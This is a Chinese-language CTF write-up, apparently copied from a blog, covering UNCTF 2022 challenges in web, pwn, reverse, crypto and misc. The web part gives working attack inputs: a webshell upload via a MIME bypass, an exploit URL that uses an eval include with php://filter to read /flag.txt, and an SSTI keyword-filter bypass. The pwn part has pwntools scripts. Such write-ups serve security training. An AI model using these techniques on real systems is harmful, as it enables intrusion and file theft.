cookie命令执行

听说php有一个xxe-西南科技大学

xxe的payload直接任意文件读取

easy_upload-云南警官学院

文件上传MIME绕过，木马的Content_type改成image/png

蚁剑连接

babyphp-中国人民公安大学

";                    }                }else{                    echo "老套路了
";                }            }else{                echo "很简单的，很快就拿flag了~_~
";            }        }else{            echo "百度就能搜到的东西
";        }    }else{        echo "easy 不 easy ,baby 真 baby,都是玩烂的东西，快拿flag！！！
";    }}

第一步，php弱类型比较漏洞，在进行比较运算时，如果遇到了 0e 这类字符串，PHP会将它解析为 科学计数法

让a=0e1

第二步，sha1比较绕过，这里可以直接定义两个不相同的数组

第三步，有命令执行的过滤，先使用vardump(scandir("/"))列根目录

虽然过滤了system，但是因为有eval故使用php://filter读取文件再include一个GET把参数传进来

http://32101fb0-c31c-4454-b5e9-4b5ec339dac9.node.yuzhian.com.cn/index.php?code=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=/flag.txta=0e1&key1[]=&key2[]=0

easy ssti-金陵科技学院

ssti过滤了class

使用(['__c','lass__']|join)实现拼接

最后在系统环境变量中找到flag，命令printenv

PWN

welcomeUNCTF2022-云南警官学院

IDA逆向看到了字符串，直接输入即可

from pwn import *io = remote("node.yuzhian.com.cn",37871)io.sendline("UNCTF&2022")print(io.recv())

石头剪刀布-西华大学

IDA发现，程序每次的猜拳策略取决于srand，srand作为随机数生成器的初始化函数，它会给rand一个种子，又因为种子值固定，每次系统的猜拳方案也相同

但是在逆向中没有找到种子，根据前几次尝试的结果去爆破，比如前几次分别出0011221能赢，就去爆破结果里找1122002

#include #include int main(){    for(int s=0;s<=50;s++)    {       srand(s);       printf("Seed:%d==>",s);       for(int i=0;i<=100;i++)        {           printf("%d",rand()%3);        }        printf("\n");    }}

发现种子为10

#!/usr/bin/python#coding:utf-8from pwn import *io = remote("node.yuzhian.com.cn",34325)print(io.recv())io.send("y")print(io.recv())choice = list("00112110111122102012200001000221201220210101200022121010221100101111021212201112202022120221000020010202212022100002001")for c in choice:    io.sendline(c)    try:        print(io.recv())    except:        continue

REVERSE

whereisyourkey-广东海洋大学

IDA逆向发现简单加密逻辑，直接写脚本

text = [118,103,112,107,99,109,104,110,99,105]for i in text:    if(i == 109):        print(chr(i),end='')    elif(i<=110):        print(chr(i-2),end='')    else:        print(chr(i+3),end='')

ezzzzre-广东海洋大学

IDA逆向发现简单加密逻辑，直接写脚本

for i in "HELLOCTF":    print(chr(ord(i)*2-69),end='')

CRYPTO

md5-1-西南科技大学

算md5然后碰撞

import hashlibimport stringalpha = string.printablewith open("out.txt")as F:md5s = F.readlines()for md5 in md5s:for key in alpha:ans = hashlib.md5(key.encode()).hexdigest()if(ans == md5[:-1]):print(key,end='')

caesar-西南科技大学

把base64表写出来，照着凯撒去写

base64_charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"source ="B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}"for bias in range(0,64):for i in source:if i not in base64_charset:print(i,end='')else:print(base64_charset[(base64_charset.index(i)+bias)%64],end='')print("\n")

ezxor-浙江师范大学

比较有趣的一道题，many time pad attack进行攻击，网上搜到的脚本。

import stringimport collectionsimport sets, sys# 11 unknown ciphertexts (in hex format), all encrpyted with the same keyc1 = "1c2063202e1e795619300e164530104516182d28020005165e01494e0d"c2 = "2160631d325b3b421c310601453c190814162d37404510041b55490d5d"c3 = "3060631d325b3e59033a1252102c560207103b22020613450549444f5d"c4 = "3420277421122f55067f1207152f19170659282b090b56121701405318"c5 = "212626742b1434551b2b4105007f110c041c7f361c451e0a02440d010a"c6 = "75222a22230877102137045212300409165928264c091f131701484f5d"c7 = "21272d33661237441a7f005215331706175930254c0817091b4244011c"c8 = "303c2674311e795e103a05520d300600521831274c031f0b160148555d"c9 = "3c3d63232909355455300752033a17175e59372c1c0056111d01474813"c10 = "752b22272f1e2b10063e0816452b1e041c593b2c02005a450649440110"c11 = "396e2f3d201e795f137f07130c2b1e450510332f4c08170e17014d481b"ciphers = [c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11]# XORs two stringdef strxor(a, b):     # xor two strings (trims the longer input)    return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b)])def target_fix(target_cipher):    # To store the final key    final_key = [None]*150    # To store the positions we know are broken    known_key_positions = set()    # For each ciphertext    for current_index, ciphertext in enumerate(ciphers):        counter = collections.Counter()        # for each other ciphertext        for index, ciphertext2 in enumerate(ciphers):            if current_index != index: # don't xor a ciphertext with itself                for indexOfChar, char in enumerate(strxor(ciphertext.decode('hex'), ciphertext2.decode('hex'))): # Xor the two ciphertexts                    # If a character in the xored result is a alphanumeric character, it means there was probably a space character in one of the plaintexts (we don't know which one)                    if char in string.printable and char.isalpha(): counter[indexOfChar] += 1 # Increment the counter at this index        knownSpaceIndexes = []        # Loop through all positions where a space character was possible in the current_index cipher        for ind, val in counter.items():            # If a space was found at least 7 times at this index out of the 9 possible XORS, then the space character was likely from the current_index cipher!            if val >= 7: knownSpaceIndexes.append(ind)        #print knownSpaceIndexes # Shows all the positions where we now know the key!        # Now Xor the current_index with spaces, and at the knownSpaceIndexes positions we get the key back!        xor_with_spaces = strxor(ciphertext.decode('hex'),' '*150)        for index in knownSpaceIndexes:            # Store the key's value at the correct position            final_key[index] = xor_with_spaces[index].encode('hex')            # Record that we known the key at this position            known_key_positions.add(index)    # Construct a hex key from the currently known key, adding in '00' hex chars where we do not know (to make a complete hex string)    final_key_hex = ''.join([val if val is not None else '00' for val in final_key])    # Xor the currently known key with the target cipher    output = strxor(target_cipher.decode('hex'),final_key_hex.decode('hex'))    print "Fix this sentence:"    print ''.join([char if index in known_key_positions else '*' for index, char in enumerate(output)])+"\n"    # WAIT.. MANUAL STEP HERE     # This output are printing a * if that character is not known yet    # fix the missing characters like this: "Let*M**k*ow if *o{*a" = "cure, Let Me know if you a"    # if is too hard, change the target_cipher to another one and try again    # and we have our key to fix the entire text!    #sys.exit(0) #comment and continue if u got a good key    target_plaintext = " lives. The world we live in "    print "Fixed:"    print target_plaintext+"\n"    key = strxor(target_cipher.decode('hex'),target_plaintext)    print "Decrypted msg:"    for cipher in ciphers:        print strxor(cipher.decode('hex'),key)    print "\nPrivate key recovered: "+key+"\n"    for i in ciphers:    target_fix(i)

MISC

magic_word-西南科技大学

vi查看document.xml，发现零宽隐写

在线解密Unicode Steganography with Zero-Width Characters

syslog-浙江师范大学

关键字搜一下

bas64解密

巨鱼-河南理工大学

tweakpng发现宽高校验不对

改高度

无所谓我会出手是密码

假的Flag

拿去修复zip

修复后可见一个pass.png六氯环己烷

C6H6Cl6六氯环己烷也叫666，ppt解密后zip解压第五页slide5.xml

zhiyin-中国人民公安大学

发现jpg文件头放在尾部，逆序做一下

with open("lanqiu.jpg",'rb')as F:     con = F.read() with open("lanqiu_new.jpg",'wb')as F:     F.write(con[::-1])

一段是摩斯密码

这里面有点不确定摩斯密码的大小写以及前半部分手写的内容，爆破了一下

清和fan-江西警察学院

B站找到相关信息解开第一层压缩包

第二层，StegSolve看

解开第二个压缩包，Ubuntu起虚拟声卡做sstv

密码解开，最后是零宽隐写

社什么社-湖南警察学院

Python PIL直接打印400*128的

湖南警察学院就搜湖南旅游，凤凰古城挺像

找得到我吗-闽南师范大学

解zip

来源地址：https://blog.csdn.net/weixin_41724843/article/details/127915638